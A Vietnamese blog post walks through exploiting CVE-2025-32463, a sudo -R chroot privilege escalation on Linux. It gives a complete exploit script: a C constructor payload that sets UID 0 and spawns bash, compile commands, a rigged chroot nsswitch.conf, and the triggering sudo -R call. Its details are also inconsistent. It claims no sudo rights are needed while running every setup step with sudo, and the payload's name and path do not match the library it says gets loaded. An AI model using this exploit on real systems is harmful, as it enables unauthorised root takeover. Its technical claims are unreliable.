CVE-2025-32463: Khai thác lỗi Sudo -R để leo thang đặc quyền root trên Linux

[WhiteHat Team]

Vào đầu tháng 7/2025, một đoạn mã khai thác mới đã xuất hiện trên một số diễn đàn bảo mật, nhắm vào một lỗi nghiêm trọng trong tiện ích Sudo, công cụ cho phép thực thi lệnh với đặc quyền root trên Linux. Lỗ hổng này cho phép người dùng cục bộ leo thang đặc quyền lên root mà không cần tài khoản sudo hoặc cấu hình đặc biệt trong sudoers.

Lỗi được gán mã định danh CVE-2025-32463 và ảnh hưởng tới các phiên bản Sudo từ 1.9.14 đến 1.9.17. Kẻ tấn công có thể lợi dụng tùy chọn -R (chroot) của Sudo để buộc hệ thống nạp thư viện độc hại dưới dạng NSS (Name Service Switch) và thực thi mã với đặc quyền root.

Phân tích kỹ thuật lỗ hổng CVE-2025-32463​

Lỗi bắt nguồn từ hành vi của tùy chọn sudo -R, cho phép thay đổi root directory (chroot) cho tiến trình được thực thi. Khi sử dụng -R, Sudo sẽ đọc các file cấu hình hệ thống (như /etc/nsswitch.conf) bên trong thư mục chroot và tiến hành nạp thư viện NSS tương ứng.

Nếu attacker tạo được một thư viện giả mạo libnss_* bên trong chroot, và chỉnh sửa nsswitch.conf để trỏ đến thư viện đó, thì khi gọi sudo -R, tiến trình Sudo sẽ nạp thư viện này và thực thi hàm constructor() với đặc quyền root.

Chỉ với một đoạn mã C được cấy khéo léo, lỗ hổng này mở toang cánh cửa đến đặc quyền root, trao toàn quyền kiểm soát hệ thống vào tay kẻ tấn công mà không cần bất kỳ cấu hình sudoers hay quyền sudo đặc biệt nào.

Khai thác lỗ hổng CVE-2025-32463 trong thực tế​

Môi trường kiểm thử:​

• Hệ điều hành: Parrot OS
• Sudo version: 1.9.13p3 (mặc dù nằm ngoài dải ảnh hưởng chính thức, nhưng vẫn có thể khai thác do cơ chế xử lý NSS không được kiểm soát chặt)

Chuẩn bị:​

Cài sẵn:

• gcc, make, sudo, quyền tạo thư mục
• Sudo phải cho phép sudo -R (mặc định không bị hạn chế)

Thực hiện:​

Bước 1: Tạo mã độc và môi trường giả lập trong thư mục tạm​

Ở bước đầu tiên, cần chuẩn bị một thư viện chia sẻ .so có chứa mã độc. Mục tiêu là khi thư viện này được nạp, nó sẽ kích hoạt tự động và mở một shell root. Mọi thao tác sẽ được thực hiện trong thư mục tạm /tmp và môi trường chroot giả lập, hoàn toàn tách biệt với hệ thống thật, đảm bảo an toàn trong quá trình nghiên cứu.

Tạo thư mục tạm và khai báo môi trường:

CHROOT_DIR="/newroot"
TEMP_DIR=$(mktemp -d /tmp/myexploit.XXXXXX) || { echo "Failed to create temp dir"; exit 1; }
cd "$TEMP_DIR" || { echo "Cannot access $TEMP_DIR"; exit 1; }

CHROOT_DIR là thư mục sẽ dùng để dựng môi trường chroot giả.

• mktemp -d tạo một thư mục ngẫu nhiên trong /tmp để làm nơi xử lý payload và mã độc.
• Script dừng ngay nếu không thể tạo hoặc truy cập được thư mục tạm – đảm bảo an toàn.

Viết mã độc vào file dark_root.c:

cat > dark_root.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>


__attribute__((constructor)) void init(void) {
    setreuid(0, 0);
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}
EOF

Đây là phần payload C được biên dịch thành thư viện .so. Một số điểm đáng chú ý:

• __attribute__((constructor)) là một kỹ thuật cho phép đoạn code bên trong hàm init() được thực thi ngay khi thư viện được nạp, trước cả main().
• Trong hàm init():
  • setreuid(0, 0) và setregid(0, 0) chuyển UID/GID về root.
  • execl("/bin/bash", "/bin/bash", NULL) mở một shell mới với toàn quyền root.

Payload này sẽ được sử dụng ở bước tiếp theo khi cấu hình nsswitch.conf để ép hệ thống chroot nạp thư viện .so giả mạo – từ đó đạt được đặc quyền cao nhất.

​

Bước 2: Biên dịch payload và dựng môi trường chroot giả lập​

Sau khi đã có mã nguồn thư viện độc (dark_root.c), bước tiếp theo là biên dịch nó thành thư viện .so, sau đó dựng một môi trường chroot giả lập đủ tối giản để hệ thống tin rằng đây là root filesystem thực. Đây là điều kiện cần để Sudo khi chạy với tùy chọn -R sẽ bị đánh lừa và nạp payload mà không có cảnh báo.

Biên dịch mã độc thành thư viện .so:

echo "Compiling payload..."
mkdir -p libnss_
gcc -shared -fPIC -Wl,-init,init -o libnss_/dark_root.so dark_root.c || { echo "Compilation failed"; exit 1; }

Giải thích:

• -shared: biên dịch dưới dạng thư viện động.
• -fPIC: tạo mã vị trí độc lập – cần thiết khi tạo .so.
• -Wl,-init,init: yêu cầu linker gọi hàm init() khi thư viện được nạp.
• Thư viện kết quả được đặt tại libnss_/dark_root.so.

Lưu ý: Thư mục libnss_ được đặt tên như vậy để mô phỏng cách hệ thống tìm và nạp thư viện NSS tương ứng với cấu hình trong nsswitch.conf.

Thiết lập môi trường chroot tối thiểu:

echo "Setting up chroot in $CHROOT_DIR..."
sudo mkdir -p "$CHROOT_DIR"/{bin,etc,lib,lib64,lib/x86_64-linux-gnu,nsslib} || exit 1
sudo sh -c "echo 'passwd: /dark_root' > $CHROOT_DIR/etc/nsswitch.conf"
sudo cp /etc/passwd /etc/group "$CHROOT_DIR/etc/"
sudo cp /bin/bash /bin/id /bin/whoami /bin/ls /bin/cat /bin/pwd "$CHROOT_DIR/bin/"

Chi tiết:

• mkdir -ptạo cây thư mục mô phỏng hệ thống root bên trong $CHROOT_DIR. Bao gồm:
  • /etc: chứa các file cấu hình hệ thống giả
  • /bin: chứa các công cụ cơ bản để chạy shell
  • /lib, /lib64, /lib/x86_64-linux-gnu: để chứa các thư viện liên kết cần thiết
  • /nsslib: nơi sẽ đặt thư viện .so giả
• Ghi đè nsswitch.conf:
  

  echo 'passwd: /dark_root' > $CHROOT_DIR/etc/nsswitch.conf

  Đây là mấu chốt quan trọng nhất của toàn bộ khai thác. Dòng này buộc Sudo trong chroot sử dụng một “dịch vụ NSS tùy ý” là /dark_root, dẫn đến hệ thống sẽ cố tìm thư viện libnss_dark_root.so trong đường dẫn thư viện mặc định – chính là payload mình đã chuẩn bị.
• Sao chép các file cần thiết:
  • /etc/passwd, /etc/group: giả lập thông tin người dùng cơ bản.
  • Các binary như bash, id, whoami,... để có thể sử dụng khi đã vào được chroot shell.

Ghi chú: Ở bước này, mọi thứ mới chỉ dừng ở việc “giăng bẫy”, tức dựng sẵn một môi trường giả với cấu trúc như thật, đặt đúng mồi nhử (payload và config).

Bước 3: Hoàn thiện chroot, sao chép thư viện liên kết và thực thi khai thác​

Sau khi đã biên dịch thư viện độc và dựng xong môi trường chroot, bước cuối cùng trong chuỗi khai thác là:

1. Chép các thư viện liên kết cần thiết vào chroot.
2. Đặt thư viện độc vào đúng vị trí để giả làm plugin NSS.
3. Thực thi sudo -R <chroot> để buộc hệ thống nạp payload dưới quyền root.

Sao chép các thư viện liên kết

sudo cp /lib/x86_64-linux-gnu/{libc.so.6,libtinfo.so.6} "$CHROOT_DIR/lib/x86_64-linux-gnu/"
sudo cp /lib64/ld-linux-x86-64.so.2 "$CHROOT_DIR/lib64/"

Đây là các thư viện thiết yếu để thực thi các binary như /bin/bash, /bin/id, /bin/whoami trong môi trường chroot.

Tiếp tục dùng ldd để tìm và chép các thư viện phụ thuộc của một số binary:

sudo sh -c "ldd /bin/id | grep '=>' | awk '{print \$3}' | xargs -I {} cp {} $CHROOT_DIR/lib/x86_64-linux-gnu/"
sudo sh -c "ldd /bin/whoami | grep '=>' | awk '{print \$3}' | xargs -I {} cp {} $CHROOT_DIR/lib/x86_64-linux-gnu/"
sudo sh -c "ldd /bin/ls | grep '=>' | awk '{print \$3}' | xargs -I {} cp {} $CHROOT_DIR/lib/x86_64-linux-gnu/"

Việc này đảm bảo các công cụ cơ bản hoạt động ổn định bên trong chroot mà không gặp lỗi thiếu thư viện.

Đặt payload vào chroot

sudo cp libnss_/dark_root.so "$CHROOT_DIR/nsslib/"

Payload .so được đưa vào thư mục nsslib/, là nơi hệ thống sẽ tìm kiếm thư viện libnss_dark_root.so khi xử lý dòng passwd: /dark_root trong nsswitch.conf.

Trong quá trình lookup thông tin người dùng bên trong chroot, Sudo sẽ vô tình nạp thư viện độc này, kích hoạt hàm init() bên trong, từ đó mở shell với quyền root.

Kích hoạt khai thác

echo "Testing sudo -R in $CHROOT_DIR..."
sudo -R "$CHROOT_DIR" /bin/bash

Dòng này là phần “kích nổ” trong khai thác: mình dùng sudo -R để chạy /bin/bash trong chroot đã gài bẫy. Ngay khi bắt đầu, Sudo sẽ đọc nsswitch.conf, tra cứu passwd, dẫn đến nạp payload, và mở shell root.

Sau khi thực thi tập lệnh khai thác, hệ thống rơi vào một shell với đặc quyền root. Lệnh id trả về uid=0 gid=0, xác nhận việc leo thang đặc quyền đã thành công. Lệnh whoami không phân giải được tên người dùng do môi trường chroot không chứa dữ liệu tài khoản, hành vi phù hợp với môi trường thử nghiệm tối giản.

​

Lệnh ls -al cho thấy toàn bộ cấu trúc chroot, thư viện độc và các binary cần thiết đều nằm đúng vị trí, thuộc sở hữu của root. Payload được chuẩn bị sẵn sàng. Điều này khẳng định lỗ hổng CVE-2025-32463 có thể bị khai thác để thực thi mã độc với quyền root trong môi trường cấu hình Sudo cho phép sử dụng tùy chọn -R.

Kết quả thử nghiệm cho thấy toàn bộ quá trình khai thác diễn ra thành công trong điều kiện cấu hình mặc định, không yêu cầu quyền sudo đặc biệt ngoài khả năng sử dụng tùy chọn -R. Điều này làm nổi bật rủi ro thực tế từ những tính năng ít được kiểm soát trong các công cụ quản trị hệ thống như Sudo, đặc biệt khi kết hợp với cách xử lý cấu hình NSS trong môi trường chroot.

Lưu ý: Bài viết này được thực hiện trong môi trường kiểm soát, chỉ nhằm mục đích nghiên cứu và nâng cao nhận thức về bảo mật. Mọi kỹ thuật trình bày đều phục vụ mục tiêu phân tích lỗ hổng CVE-2025-32463. Tuyệt đối không sử dụng để khai thác trên hệ thống thực nếu không có sự cho phép hợp pháp. Người đọc tự chịu trách nhiệm khi áp dụng thông tin trong bài viết vào thực tế.

404 Not Found​